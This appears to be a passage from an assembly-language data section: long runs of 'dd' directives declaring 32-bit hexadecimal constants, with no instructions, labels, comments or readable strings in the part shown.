0BF6EF227h dd 0C5753E4Bh, 837286A2h, 0FF07E072h, 3334E979h, 354FE862h dd 6BBEEF93h, 0D709E44Bh, 1810F1E5h, 57AABB9h, 32E86BA4h dd 0F8E7F159h, 0DB266283h, 0B04522ACh, 4DA93479h, 0BF73ACFAh dd 5E75C111h, 0A617F310h, 8148439Bh, 5FBD3334h, 86136DFDh dd 4B376A7Eh, 0F79023A5h, 0DA576857h, 609A0441h, 1D832901h dd 48B7125Ah, 194F94CBh, 0AEF69EE8h, 9D16657Dh, 68A4814Bh dd 347195F1h, 77637113h, 74F62963h, 9DA0001Ah, 5A8B19B1h dd 4D4C09C0h, 9CC5ADF7h, 635CFF51h, 20A3D382h, 796E8153h dd 0BAC028C1h, 0B3E28F20h, 0DED31B3h, 9C503EEBh, 0A0CF6B04h dd 1AF66F13h, 0B556F77Ch, 0C154227Dh, 6872E86Bh, 7743F113h dd 805B7F94h, 0F070D96h, 2F1BF67Ah, 0BAEAA826h, 7E5FB16Eh dd 5F3600C5h, 6F2C3D40h, 0AEAB823Ah, 0F6EF758Dh, 732F6ED5h dd 0B6513D9Dh, 3624A872h, 9CC62A46h, 6DEBF7CFh, 2EFE9299h dd 8AE6116Bh, 3A2FDC16h dd 6DC619EDh, 9D22F172h, 0CA106D45h, 0C5C6846Ch, 0A73C457Fh dd 0DFD1498Dh, 7EE5282Dh, 5D36B5B4h, 0B443B8F5h, 0FF2BA0B4h dd 7052FFA0h, 515ED341h, 495BA7ECh, 428B33ABh, 9C0318A6h dd 1B5B5465h, 0D5944521h, 0A1A7F42Ch, 0C9377018h, 0B76D7884h dd 0BF7E484Bh, 0B290F1B6h, 0A405CE11h, 608FC15h, 8101A6E0h dd 0A433DFC3h, 0DB42CABDh, 5A58229Eh, 1285E538h, 604856F4h dd 8100E377h, 0D6379648h, 5F5A5919h, 2B882073h, 0A068E381h dd 0EA25A538h, 5CEA472Dh, 12E66EA4h, 9CBE200Ah, 0FA4C2311h dd 86FCB521h, 0E6117FB4h, 756AADF7h, 701BF510h, 0AAFA71F9h dd 98C0F7CBh, 2E3AF421h, 63C9BA2h, 6607319Ah, 9A64C392h dd 0B397195Fh, 8E472B1Fh, 0A6E8F9E7h, 3300F8D1h, 4563859Bh dd 2A42B92Eh, 0DD081DFCh, 6F394DAAh, 6F089C7h, 0D1365BB1h dd 7F1D3F84h, 0A57AF6B7h, 0CFA5E740h, 0FE6E279Fh, 81480B94h dd 0D236D9FDh, 13D4A7AEh, 8052EB61h, 70DBE0E8h, 45E919AFh dd 0DE1C6E55h, 0B33F8CE8h, 8218AA9Eh, 40E173BBh, 0B227E328h dd 0FDF4D25Eh, 34338CF9h, 219F84F9h, 0D699326Dh, 6655BF7Dh dd 88647503h, 75C4FF2Dh, 696390B5h, 0E42C7C9Dh, 0C1E9B880h dd 0ED6BDD44h, 80333DA7h, 0A25716A4h, 9D66F3Ah, 9A63410Bh dd 1204EB12h, 73388DBCh, 0DD401A2Ch, 0FA854973h, 0CD1FD20Bh dd 88A16DEBh, 5F32AFEEh, 0CC47BE55h, 0EA350CCCh, 0C58F4EBFh dd 569E258Fh, 967C98B3h, 64CFE13Dh, 0F16B9A9Eh, 99B2B7A4h dd 4CC40FA0h, 9B0045B1h, 0E0B4CD08h, 0AA5479BBh, 9B9B3639h dd 1F2CCB71h, 0B4C7DE83h, 20DA6208h, 0BBB3758Ah, 0C05AD000h dd 86E790A2h, 66F19708h, 0D9250B0Dh, 29FA6671h, 16401CBCh dd 41204F48h, 996258C5h, 609AF177h, 609C01FDh, 779AE184h dd 4B2AF13Fh, 0B33FEC96h, 469D23CFh, 2A1AA11Ch, 35FD44C8h dd 0A75F313Dh, 9F58002Dh, 15E9E967h, 0E1FDB3CFh, 34A0DDA6h dd 0B38EE31Ah, 0E34339CDh, 4F3BC5B3h, 71DB43A6h, 182FE138h dd 8730443Fh, 0A827FBB2h, 0AB7DA8B9h, 0E1060AFh, 92FEDDB8h dd 0DAC2B6AFh, 9EED15BCh, 0AC2395ACh, 1D1CB3B4h, 1E432C3Ah dd 2B30C3FAh, 1FF9DD52h, 0FFA4B4B4h, 0ADB9162Dh, 0D9CAB17Fh dd 420BB59h, 4B77232Dh, 0EC4D4175h, 9BC16A42h, 0FB835683h dd 5A7B2BA1h, 1E352E21h, 4F18D558h, 931C4422h, 4AAB1F96h dd 845D3E47h, 9517128Ch, 83822346h, 9F7403A2h, 9F1D0AA8h dd 0B244FD05h, 9B1FF69Dh, 0E81AD32h, 1E5BF6BEh, 0AA2E357Ch dd 39382DDDh, 0B8BF5FA8h, 7E494EA1h, 133A3FBFh, 0AF228F86h dd 3DEAEC65h, 218B62D5h, 0A321D9A9h, 570EDDE4h, 0CC881B8Fh dd 0BE3D3746h, 5C3697B9h, 94C1EE5Dh, 0C4C6BDA2h, 398C7CE8h dd 0A42E768Dh, 47B576B9h, 0A99AC3FAh, 9622AD60h, 0FE282243h dd 7E0720BBh, 0FD250143h, 5828EE9Ah, 9F7B869Eh, 0F8362A71h dd 8FBB5105h, 0AE05F5BDh, 7E8FF724h, 44253194h, 0B605CA0h dd 3D44A746h, 382809F2h, 62CCD843h, 8F61C7F8h, 52274CBFh dd 41D4444Dh, 6232F9C0h, 0EAD4F146h, 0B6C77487h, 0F7322061h dd 5A04A2BEh, 0E15D029Dh, 0B7964CEh, 861B25C6h, 5AD15F6Ah dd 9D362D35h, 0AE470F22h, 0AD4830AFh, 0AD4C31A1h, 1F5436A3h dd 0F928F971h, 99888EC5h, 0B4DDFDC6h, 0ED7D3B84h, 0B15CE840h dd 0DA3A2FF7h, 68C50710h, 62B09EA4h, 57CAA84Dh, 0E7A45A80h dd 0A4F299BDh, 0D081A3AEh, 0BB4060FEh, 18D68C4Fh, 0A263AB5Fh dd 12303151h, 442CC3F9h, 6430C29Ah, 62066B42h, 0A33D89A3h dd 0F7EB224Dh, 0BA774265h, 3F63255Bh, 68F0183Dh, 8126910Eh dd 6A930679h, 0E38FAD1h, 0C5E7A2B1h, 20FD364Eh, 911691A1h dd 5EFDA9Ch, 902F328Dh, 3736D14Ah, 0C5AF0E4h, 0BD483B7Dh dd 97A3919Ch, 0A7075B6h, 18350443h, 0B07D389Bh, 692F111Bh dd 0BC8D03C4h, 562F685h, 0C57AEA42h, 93C35B44h, 720F4942h dd 435A11B5h, 1F12AA6Ah, 7AC02535h, 0B8692088h, 5CBAC949h dd 2A3E3F69h, 0DA8490E1h, 0F340DE8Fh, 8EE75D9Ah, 4303D99Eh dd 4FD90117h, 643ACD2Fh, 0AF59F625h, 0E21AB058h, 2AFDC57Fh dd 0B8FFA142h, 1FC2D169h, 0F42B6B77h, 0EC4824B2h, 46408946h dd 0C687067h, 0D9074FCEh, 0E5F8FCE3h, 4351CF04h, 6D6619FBh dd 7ED3EE55h, 0BFE8B67Fh, 57937EABh, 9CFD4920h, 0A76BB9AAh dd 0A3B7F8FCh, 1B4F76A1h, 0E04977A8h, 0E03BA5B9h, 467FB51Fh dd 5D0AFD9Ah, 640B9912h, 0EC4091F2h, 94FFA8B3h, 68F935D9h dd 0ADF35407h, 269222EDh, 0B9C60A65h, 1E821D5Ah, 82046C05h dd 0EBC3EDC7h, 0B775D42Ah, 0E7637EADh, 0B2892344h, 0FDCFE93Ah dd 3475098Bh, 3C238DFEh, 6F914A4Dh, 4C2DC705h, 28A0311Bh dd 3D477A65h, 0ABB8E8F7h, 24807D71h, 0AE817ABAh, 89B83EC0h dd 99BF9825h, 0DC87FA06h, 0B174DE33h, 3AD168E6h, 0D612FCE3h dd 456BDD81h, 0FC15FF01h, 343103F2h, 0D1CF50B4h, 0B600A089h dd 3937F01Dh, 10CF895Dh, 0D8625345h, 311EACB4h, 0B73A5AB9h dd 3CC60DA3h, 6D18A132h, 703DAAC1h, 3DDA7689h, 0F635EB2h dd 795AE54Dh, 28AF1EAAh, 0BA001273h, 0D76BF876h, 0ACF9A32Ah dd 4107CD10h, 0E3673C26h, 0B816620Ch, 0E31191EEh, 0C98689EDh dd 55306F5Fh, 0A8CE60E4h, 5B04206Ah, 0AD49A168h, 63DAA498h dd 0C6D575A1h, 31BB346Ah, 54ADA00h, 0B15814A0h, 9B3292CDh dd 837C37E2h, 0A02738DFh, 9D33C067h, 0F9D6620Dh, 0EB386277h dd 630E67C9h, 0F33AADA3h, 4DCDCA9h, 4D88A4C8h, 0A95AAF90h dd 983E0C54h, 57927A73h, 5BC53651h, 0A52C379Ah, 989AEB33h dd 0A3846B5Ch, 92A2A424h, 0A3CFA695h, 0A2CE1826h, 576C3F00h dd 4D443343h, 2F18DDBFh, 1A4A994Eh, 17A9B61h, 0CA1D453Fh dd 3E2DCF99h, 0AD1ECAACh, 0AF1A98AEh, 0A6A22E0Bh, 6CEF8C8h dd 77ED2817h, 665A198Dh, 2316E830h, 3A178B0Fh, 2A1EED41h dd 83F8A243h, 0A101BDD0h, 0A8D1131Fh, 0A92BCC22h, 71C3F5BDh dd 33871209h, 0DD4137Dh, 5AF0CD08h, 79765CA3h, 4C7344B5h dd 0A5333500h, 1D400125h, 9BE53FD5h, 85F7294Bh, 0D3BB829Eh dd 0DED457B7h, 0B0E4A8CCh, 6BF7A381h, 994CAFF7h, 0FF657223h dd 0B09E0E98h, 250E46B4h, 625EB4CFh, 3E51B7h, 0A984E140h dd 1B1E51E6h, 4EFB0F97h, 231639DBh, 0E119FF55h, 98C772CAh dd 0A3191974h, 0F529A8B7h, 0FF33683h, 65CFA2E3h, 0BE7A702Dh dd 17CFC858h, 0FB39EB78h, 86123B0h, 0B44BEEC7h, 0C940C4FFh dd 0CA0260AFh, 471E7BBBh, 598942DDh, 41A80E08h, 0F2DB36B8h dd 1D233344h, 0C6298CACh, 0C08EE819h, 0C0FEBCB3h, 82359814h dd 0F3575087h, 18C10948h, 0BF2B4A74h, 5AEA6324h, 19432AF3h dd 131D3D9Dh, 0E65F148Eh, 12E938D5h, 9AE4B346h, 423BD170h dd 0F75C6995h, 685CDC26h, 0B2D62FF8h, 0B88B49A8h, 77D2F9FDh dd 6DAECA3Eh, 7D6648CEh, 99BA85C4h, 0E05784Fh, 0B8C292B0h dd 3ECA18A6h, 0EA414C75h, 0C8AB48E2h, 650484A3h, 0B6AAADF5h dd 285C210h, 41EBCC93h, 0AF7C1511h, 0AF561351h, 356931B4h dd 0C2FDFE46h, 0EEA4EEDFh, 964E3433h, 0A8039156h, 0F25DEF2Ah dd 0A6835FE6h, 0E32CAD93h, 0A69A5210h, 0B82F7C86h, 0E212955h dd 0E4D118B9h, 9BFA4994h, 8E07E11Fh, 0EF354641h, 0A73F385Bh dd 4EDF5825h, 70FE2BFCh, 0AA57B30Ah, 52DDE92Eh, 64489E55h dd 3B423D3Eh, 4505303Bh, 0B0BA68B9h, 0DCF48BAFh, 2DA06C9Ah dd 3ED49413h, 1C67F3A6h dd 1529DD9Fh, 3026B6ACh, 0A6F8035Ah, 0ECA9FF96h, 0AC182508h dd 0AE15F040h, 829C3ADDh, 1ABE745Ch, 0E794C168h, 86A50A39h dd 3B353B08h, 0DE033A09h, 0F5F1218Eh, 7B8387B6h, 52C03D74h dd 0FFB7D058h, 8A4211A2h, 0D7844E9Dh, 250A4A64h, 2603DD53h dd 961ADC43h, 78D67875h, 0A972D70Fh, 3AF52062h, 0F704A233h dd 61D09D02h, 41752264h, 79E9D3FBh, 5069A0EDh, 52DF5879h dd 5AE0D9FFh, 632EA769h, 9E15FFB8h, 333AA926h, 69BC961h dd 6EDAD14Fh, 6C0A43DDh, 1302BDB8h, 0DF794DFDh, 2BA12523h dd 0C22EA4CAh, 40A506A8h, 5FF820FFh, 2B037695h, 5A09075Eh dd 13F82D07h, 0F5DE5FA0h, 2CC5145Dh, 78C6CDAAh, 0F23981B4h dd 911EC7CCh, 0AE0D67A7h, 0F5463738h, 0F73B1635h, 84AAD4C2h dd 18D8B4DCh, 6EAC2031h, 70352DEEh, 3BACA00Eh, 0DB239601h dd 507205D9h, 552C3743h, 9C2E9AE2h, 3A0701BDh, 26761A36h dd 75126075h, 55366525h, 0BEAFE89Ah, 8BF52BB1h, 4CBAA5Bh dd 171C3534h, 0A5AE907Bh, 908C6CAFh, 9C1908B3h, 0A1CE29A8h dd 273CECFFh, 0D9F42028h, 1A3243A1h, 275AFEFCh, 0E00B0030h dd 627216BEh, 63403315h, 5B1D04ADh, 55CCEC4Fh, 17EBFB43h dd 9E9C2236h, 90BFD07Eh, 0C9882728h, 0F94C3CE5h, 0A23C4A52h dd 99C6936Ah, 74F15CBFh, 566E860h, 0C9306C55h, 549096CCh dd 0C87FABB2h, 0FC94B3DFh, 0A19AED95h, 3DFBED21h, 5DAD79C1h dd 5E854DA0h, 27E1347Ch, 6B5BF092h, 4A580F72h, 0C64D613Ah dd 0A7FCA35Ch, 4418BEF5h, 0A9340E6Ch, 44BA60C9h, 5A3FE41Dh dd 3A4AEEA1h, 0BE2F825Dh, 0A3200029h, 0E49E0428h, 603DA0BBh dd 933477AFh, 6E446C45h, 5BBBBD9Dh, 0D10ACF10h, 0BC2E8320h dd 0AA2A2EB3h, 2BAD5E69h, 633F6FD2h, 0E49CCBF7h, 1AB8CEFDh dd 6FD94F40h, 64367054h, 92B9DA5Eh, 0C044E99Dh, 47666642h dd 1D32A4E0h, 0A7F9137Fh, 0A719117Eh, 0EC31DC1Fh, 556A5B9Ch dd 0D94DADA7h, 0B02A8880h, 85FF4361h, 87301AB4h, 0AA1B2575h dd 0A4E8DE23h, 0B56CAC00h, 645F06FCh, 4CB5B0B7h, 9D9CF165h dd 0CA593FAEh, 60C40DDBh, 18047962h, 0BA40660Eh, 532BB3A0h dd 82EC4167h, 0EC658B3Fh, 412A00h, 18274411h, 9F8DFEDh dd 0FDE239Bh, 360CB1Ch, 0A95ACCB5h, 0B66F2272h, 8604FF9Ah dd 52C3F6A5h, 717D202h, 0A21FC785h, 21D3D2Dh, 631FD235h dd 9DA856BDh, 6F8F3648h, 78F9F341h, 702625A1h, 59C76B96h dd 0F721175h, 3E254A45h, 0BE3C6B4Dh, 0A55AF94Ah, 0BAACF834h dd 32ACE5A9h, 0A6C53973h, 2B488425h, 0F83AE156h, 1752E3EBh dd 552D349Dh, 6A3EE069h, 0A1F445DBh, 0D59C139Ah, 0DD0BA133h dd 612CE647h, 0D7C716C1h, 94EF3A64h, 6B9980E2h, 65873F61h dd 6FE29D5h, 0B5DCB316h, 3D28042h, 1F80714Ah, 86D56737h dd 43C54EA3h, 0C4F75008h, 609776A5h, 0DFD586Dh, 7E39E221h dd 0F5D0C969h, 6053DE6Bh, 0D689EC51h, 3E3BB32Fh, 797EC695h dd 71F12511h, 2D2AE782h, 0E513957Eh, 0C309793Ah, 0A9C6A676h dd 3D13EE90h, 165BA526h, 19CD7DA1h, 0F1847121h, 0EA61C8F6h dd 195136B2h, 59F280E9h, 4EBC9965h, 9EF92D2Dh, 1CC45EB3h dd 4103DF5Bh, 486A036Eh, 5E8B706Ah, 4A319A4Bh, 5312289Dh dd 3963A667h, 1D505D4Fh, 3F15C5B5h, 0BF5963C3h, 0DFE7F326h dd 6BF006B8h, 7AF0A050h, 9C32FFFDh, 3F9E153Bh, 0AE3FCA0Ch dd 2A86C89Ch, 90FA7835h, 535D3571h, 0D5FB2C05h, 0AF3C818Ch dd 31F8AD3Dh, 610F3783h, 851D8ED9h, 488FD0F0h, 0E07C3E8h dd 14906901h, 410E000Fh, 0EDD37F4Dh, 6E4F8B93h, 98D038BDh dd 45C7272Eh, 0C521C341h, 92365154h, 29F5D26Bh, 4D01A567h dd 8DC5DAB7h, 682F0D98h, 9D2BA3B5h, 8EE863C1h, 1A3CFE1Dh dd 75A3D879h, 43C01881h, 0BFD951E5h, 5620C388h, 9B250816h dd 9D5D809Bh, 0C4583DFFh, 67657D3Ch, 37FD494Bh, 1AF8CDC4h dd 27B8B72Dh, 5BEC8775h, 68C12AA9h, 61A351A1h, 7AC2EA62h dd 3A2F4973h, 0BCCF91CEh, 9C3F15AFh, 0A19118B6h, 90BB677Bh dd 9B9AA0F2h, 133B367Fh, 0BA1245BCh, 8D20A79Ah, 2B97CCA2h dd 0A3240FD9h, 9001911Dh, 3F09A1DCh, 93187CBBh, 0EDD739B9h dd 2CA5D209h, 84E74D10h, 0E942362h, 10522670h, 11F92C2Bh dd 0B135B6F8h, 3C72A5DDh, 8AFEE903h, 2368C35h, 0A9F0227Bh dd 0EBF33FB6h, 866F607Ah, 94670C4Bh, 0EE9F8C56h, 4E31E9D5h dd 3EEE3B32h, 8A111FA2h, 0C1599E48h, 0AA486F11h, 0A7BBCD44h dd 0F9309BAEh, 33BF734Ah, 7FBD0ADEh, 7DF9EC9Ch, 0DC251F14h dd 0CC26F623h, 9940F112h, 7B32DFC6h, 5543B39Dh, 8C190403h dd 78414D7Ch, 9A254B0Eh, 0C1EF4EA0h, 0EF086C4h, 0B9D5F56Fh dd 8C3F490Eh, 0A64DEF42h, 0AED0CDD9h, 20BBE15Dh, 0A6D00B2Eh dd 6332FD47h, 493B41B2h, 0F23C397Ch, 0C1701D27h, 0EF178807h dd 6B850256h, 0FE070449h, 38F72A1h, 6515452Bh, 246DF731h dd 0A7FFACE4h, 0ACB26E3Ch, 2CD50081h, 42FE9885h, 0A9A93C68h dd 77383CC4h, 0E518FFA9h, 0B8F8CF53h, 0B73DC190h, 0D0DEB8DEh dd 569EE0C0h, 0FE06495Eh, 471D26E8h, 2BACDF1h, 126EBB0Ah dd 8AB109F1h, 0C30733E8h, 8587A9E7h, 54B07674h, 12E34F82h dd 6FCA88Dh, 3E613C1Eh, 0FACAA726h, 59C3A7C5h, 41023731h dd 56CEA622h, 0AF6B2444h, 0ACF2BE13h, 8E7F826Ch, 0EE3B0DB2h dd 76DBC48Dh, 0FF483730h, 0E5842094h, 0A0A7FFB4h, 12C03810h dd 8731A718h, 0B9702B4Dh, 4274A972h, 346D1F71h, 0DA85FD00h dd 0CF3EE058h, 0DDCFF9DFh, 0AE104834h, 841B141Ah, 0FE2EC6B4h dd 0AAE4A59Dh, 90058EC3h, 5E3141F9h, 7B0E4C3Ah, 12BD111Dh dd 41440D77h, 4AFFF7C2h, 1C196658h, 6824B1B3h, 0DCF9C0ECh dd 45813D3Dh, 67AC33C4h, 832086E4h, 7EA33A1Dh, 0B7E21003h dd 5CE74073h, 463ED279h, 0B3634D59h, 59FAC6Fh, 0AF651F81h dd 0DE141576h, 1935EFDDh, 0A9413527h, 25116720h, 0CE202E75h dd 0A286C13Bh, 3258120Fh, 7ABE3951h, 8208DC0Fh, 60217D5Ah dd 0E4EAAAB1h, 0EE03387h, 4E9BE027h, 1F48A7A2h, 7EDDEB40h dd 159E205h, 4293BBF3h, 0C20CE30Fh, 94FAF0B1h, 0E4349F5Dh dd 0B87E1A4Ah, 5A26F8A1h, 6A9D2C86h, 0E791EFBDh, 69DEB57Eh dd 7159BDC1h, 33223B46h, 0DB211781h, 43EAE1h, 8FF0E8DCh dd 66AE6641h, 0DEAE29EDh, 6C5200C6h, 454BCCFFh, 0B5D10EDAh dd 0AC3EEBB4h, 0B398E2B4h, 84D22674h, 5CFFD5E0h, 0B7C29D03h dd 5536EC6Dh, 1EEBDB6h, 464DAB16h, 194A5E5h, 99F39DA4h dd 0ECBF55E5h, 0BA37C529h, 0BCA7136Fh, 0D3373566h, 8D8214FBh dd 6D412D91h, 0D2782674h, 2EEF5400h, 702A9EDh, 0F4EB49ABh dd 0EBB7E0D9h, 0B58266F5h, 471BC488h, 0BDCB4A07h, 0D33FDC23h dd 8296B6A3h, 77FF6FEDh, 0DC19250Ch, 92B37CB9h, 3C7E29ACh dd 0D91D90Ah, 6AA23F59h, 0A1FB4AF5h, 66257146h, 0A30E71CEh dd 0AE20E79Ch, 206FB959h, 965EF10Fh, 1657E263h, 0C78FF0C0h dd 45774A2Dh, 0B3FD8D1Bh, 0D7C17FC8h, 217399C0h, 0C601DF5Eh dd 0A33BE649h, 12BF199Ah, 9C30E55Eh, 0E78B0610h, 0B723CB09h dd 0F7196C39h, 0AC3453EAh, 0A95ABDE0h, 191566CEh, 0D11EF875h dd 1B30E893h, 98BD59Ah, 0A9FC5BA2h, 99C58239h, 0A865AB93h dd 3FADB7BDh, 4EE22009h, 5E8395E8h, 4CE1D9E3h, 0A03862AFh dd 19546106h, 82FF29A4h, 0DA22000Bh, 92F9B4E2h, 7EF611Ch dd 0DCA3E7F7h, 6ABB7FADh dd 0D3738A10h, 7352DCEDh, 0B63E65E3h, 82053538h, 0AD5EB56Bh dd 0E3D823FDh, 0B2F62269h, 0E5362F3Eh, 69F8AC0Dh, 234370BEh dd 9A105D7Ch, 1A33B538h, 16E5FC24h, 0E285DDDh, 0A5600A45h dd 0D376E4D4h, 0B1E9A660h, 1C0E8ABh, 0F2BB5033h, 2B3CC9B4h dd 68C7712Dh, 655993E4h, 55F01105h, 0A2D865A0h, 0B9D18EBEh dd 8AF86997h, 0CF490C3Fh, 6B1AE57Eh, 401220B6h, 715BD0Fh dd 47394CB4h, 7E4A3510h, 17F54A03h, 2AC7E95Ah, 31F505A8h dd 0D1EE3F08h, 0A47E742Ah, 31E8E2BCh, 0A1A7ADC6h, 979870E6h dd 0A4032638h, 0CEA8D6A9h, 3F9B89CEh, 21D53480h, 0CB32C62Eh dd 0BF7DCA8Ch, 0AAE6228Eh, 4112537Fh, 1A73E09Dh, 5B4645D6h dd 71B9FA29h, 9114CF91h, 881286E3h, 483EEE5Ah, 5E9C339Ch dd 61B18BBEh, 916B598Dh, 3ADA72E3h, 76B50890h, 0DB1A47A9h dd 0FD0744ABh, 2F313146h, 0F4417935h, 42CEA6A1h, 0EA097095h dd 1E20D269h, 9DCE2B6Bh, 5C8F22A7h, 7CC7509Ah, 6DA433AFh dd 0DC5BE388h, 5DCE293Ah, 609ED7B8h, 9018018Eh, 9BFB357Eh dd 0C02368D6h, 0EC2A9BAFh, 1BEE0053h, 0DB183033h, 83079A44h dd 97EE6F5Eh, 0FD3CCC07h, 68F19A1Bh, 823B0299h, 0E2802726h dd 0B79DE7E5h, 49A17F5Bh, 0D388D73h, 250AA6BAh, 21026916h dd 7F25347Eh, 96142B51h, 52F63053h, 0F623FBEDh, 5CAF19B9h dd 6A5B2A2Eh, 9F012E87h, 6180D308h, 6449EF15h, 5C24811Eh dd 43EA48CBh, 0D34AB496h, 0F938438Bh, 0F8D7EC8Ah, 4A375B63h dd 13FAA3B6h, 6483B753h, 0D7E69C94h, 85BBC701h, 4DFFA80Eh dd 13F05CA6h, 8A3C5900h, 0ADAF0D97h, 542391B1h, 1C98013Eh dd 3647915Fh, 1FDEF9F6h, 1AF03507h, 10A66001h, 4D353560h dd 1DDCC820h, 225DAF7Ah, 97CA7BAh, 0E819B03Ch, 56C5A3Ah dd 982C084Ah, 0A3BB2F65h, 0C4385825h, 0E1553DFEh, 220535A4h dd 26C32461h, 4403BC38h, 4AD96B5Ah, 2676DAA3h, 56065973h dd 2061C75Ah, 71143763h, 0EE1AD12h, 8F5F3D62h, 553950A4h dd 0D7D2A5FEh, 94E26B86h, 24D30EB5h, 0AE035AEBh, 2ECAADB6h dd 0E40B535h, 723FCB06h, 66CFE27Dh, 3D81DBCCh, 833032FDh dd 0C0734925h, 0E259F465h, 3D4EF438h, 0BBD57289h, 6B39ED00h dd 92FEC0F3h, 47F88E9Ah, 5C068557h, 9F3B7808h, 4D54E49Eh dd 0B600E1ABh, 52E47E93h, 2D77CB95h, 5ED6ADE9h, 57F2A849h dd 0B0F24A18h, 0E78751C5h, 0B2AB6AEDh, 0E4B03655h, 57ACFD67h dd 0F5C8554h, 9148EF10h, 6DE82266h, 7DF7091Dh, 58DA4383h dd 0C63FFBD3h, 85212D48h, 93033A43h, 0B6F9F584h, 6B208565h dd 0BA40A4A4h, 0B125ECA3h, 2632A4B1h, 38F44900h, 1FC05B50h dd 3F24AAC4h, 2A2045Ch, 0BC5EAC18h, 6464487Ch, 14B0E730h dd 0BAFF8FF2h, 0A8DE8653h, 828EDB87h, 0FC491641h, 6BAD8206h dd 0BADAD186h, 18FA16ECh, 0F908289Bh, 11DBD207h, 0B53E7DC3h dd 0BF4CE010h, 2A764984h, 0BE0B42A6h, 0F6BE6D53h, 0AD333F94h dd 0E4114ACDh, 0D830A457h, 8372D318h, 0A8ADCF11h, 34E07DD7h dd 40ED1B61h, 1F50F490h, 419CAE4Ah, 0F2FCA18Eh, 0A5CE5E6Ah dd 0A7FF5F53h, 18050DBFh, 0CD530501h, 0A56F1A7Bh, 0E3680726h dd 0BC945352h, 58FDB618h, 0E2DFA324h, 0C15EB16Ch, 508EE13Dh dd 28D50239h, 446E7AB1h, 0ACB29D85h, 51680CEEh, 0F93624D2h dd 0E5EC9D11h, 24DA9681h, 3AB28511h, 9ECE10D1h, 733C4BBDh dd 2F0B338h, 52E8ACE6h, 0ECAD5157h, 5CD3C713h, 75B6F36h dd 0A6442E3Ch, 9C7D8A3Ch, 64B7FF21h, 0D137DDA9h, 58DA5F7Bh dd 0A08DE894h, 10295292h, 453E1307h, 13ED6266h, 1C541D13h dd 19421CC2h, 1E1E22C2h, 0FD6FE47Bh, 0FD5B243Ah, 1D2DADB0h dd 29262CAAh, 0AF3AC177h, 0A85A3CD1h, 474BF5B4h, 0E5F56EAFh dd 0CCBE6DC5h, 0C436DFC0h, 47DCC4B9h, 61F8A71h, 0A6EA85B9h dd 0AF36FF31h, 0A1403401h, 0E409FFF4h, 4EB79128h, 1D4E0A7Ch dd 96529DBBh, 37B2DE62h, 643935FFh, 62B95E10h, 57D6ED50h dd 64AE88E6h, 1D362F60h, 0B582B22h, 7331B168h, 0BBE62924h dd 1F5EB068h, 2D07EB45h, 1CBFB13Eh, 0B8B7E46Eh, 0BE3AA363h dd 20CBB668h, 572231BDh, 223B3033h, 2445BD3Bh, 0CB3B4AF2h dd 0A667A9F2h, 85E486EAh, 6B285A1Ch, 3D0D4040h, 0EC184D7Ch dd 3CFB2844h, 77E9DBD5h, 1C54CD30h, 5332C998h, 0F49A4EB0h dd 0A0A3990Fh, 0B254E811h, 0DAFF6999h, 0E7CD1E5h, 0AA0A2FA1h dd 3DB75C10h, 0A2CCC77Ch, 0DB083FC5h, 52D132C4h, 4B60F7BAh dd 0DD5D2C24h, 0EAE9CBF2h, 0FA24F7AAh, 0F1600A0h, 5312C540h dd 0AC6E311Ah, 9BD430D7h, 345AF10Eh, 1576E747h, 8AFCF69Fh dd 5F76E7E1h, 0A93B36B8h, 0A0CF0169h, 11923BAAh, 6DD892ABh dd 83220DA1h, 98AFA813h, 32E9812Ah, 8B698Dh, 800A9FD4h dd 6ACAACA1h, 0E8018BFh, 9D551AB3h, 82ECEFA4h, 3958A135h dd 15AC79F0h, 0C8EB99Ah, 56F598E8h, 75BFD0CBh, 25074510h dd 1B9B5550h, 823B48E5h, 6B984054h, 5CFDE43Ah, 53D10665h dd 82EC3870h, 0F2B9DC0Fh, 5A54EC0Ch, 6F20BDFEh, 39D9E5AFh dd 0A0EECD2Bh, 32BE9356h, 0FA0CD880h, 88317D36h, 9DAD2D67h dd 0E3CFD1A8h, 1F9CC427h, 1258495Dh, 0A6C1A3D5h, 538307D3h dd 0C4D2A920h, 0DDE80D04h, 0EB579466h, 0EC9A40E7h, 3F9E64A4h dd 13B0440Ch, 62B1F52Eh, 3DB50BC4h, 98B9A910h, 39EF79C8h dd 53AD4795h, 0A805F207h, 6432F473h, 0F3384B51h, 363A7C3Dh dd 0D6ECE821h, 3CB87E45h, 63325D64h, 0CD1538C3h, 0F8BCEA75h dd 0B25D198Bh, 0AED6B906h, 0FE8CE901h, 3D278475h, 0CE4D5485h dd 1CA8F7CBh, 5C663DCFh, 6499003Ch, 0E39E0E09h, 0CE8F1CFEh dd 6DAE26EEh, 36A21FB2h, 52A3B36Bh, 24FE8565h, 5A43F147h dd 0D9395B73h, 83CDD5Ch, 22CE4AEEh, 0DC4341E3h, 24D3A13Bh dd 442CAEB5h, 5D36E17Fh, 0E9583CF0h, 0A410FB8h, 5BFC5824h dd 5E580B6Bh, 0B93FFDB3h, 24052BCCh, 0B4C1588Bh, 882D1D01h dd 0BB777E4Ch, 672C2898h, 0E6CF7AB3h, 62418022h, 65336554h dd 0A815261Fh, 702F390Bh, 717B67AFh, 6B16ABC5h, 0C7070EA0h dd 0E22AE1CBh, 0AC861D3Bh, 0D42EFC3Ah, 2C3AD9E3h, 60BCB58Dh dd 65C49909h, 5C9F5965h, 92191432h, 31ADB121h, 0A1F95F87h dd 0BC80D90Dh, 575EB438h, 59E805h, 953AD6A2h, 335A9A0Eh dd 2E343EBEh, 0EB3655E3h, 0EDB94BBAh, 43F7597Ah, 9CBBE3B7h dd 60E92FFFh, 2347933Ah, 0C220A02Ch, 1AC1EB6Eh, 2538A8B6h dd 70E7E661h, 87435C6Bh, 0B3F1BD57h, 663C5382h, 62269545h dd 9E51E1B6h, 3F411417h, 886FF99Ch, 0BA84105Ch, 1A343EDDh dd 63C022FDh, 0D3E9B65Eh, 808FFA88h, 0C2325119h, 0B883FB9Eh dd 9919E558h, 22542A0Fh, 0C39CE8E3h, 0EFFB2B10h, 74F4FFE7h dd 4C67ED4Eh, 0C707094Dh, 9F496827h, 0B6F24B4Dh, 83BA233Dh dd 6077D736h, 0A6010D24h, 6B7AE1C1h, 53DCACE3h, 0A8CEAD47h dd 0AC0AE199h, 93F0DC4Dh, 465329BEh, 0A57E44FFh, 2A4A705Fh dd 5D3CE14Bh, 963AF607h, 99112A70h, 550F218Eh, 0CA10DD9Ah dd 1C3A0252h, 0A5C00B50h, 6F0B0C42h, 1516B670h, 0DCFEF778h dd 686F3758h, 0A6C76363h, 25C3C563h, 39EF2830h, 6E5962E3h dd 66F3D813h, 52BF2DDFh, 56EADDD3h, 0E1F8D904h, 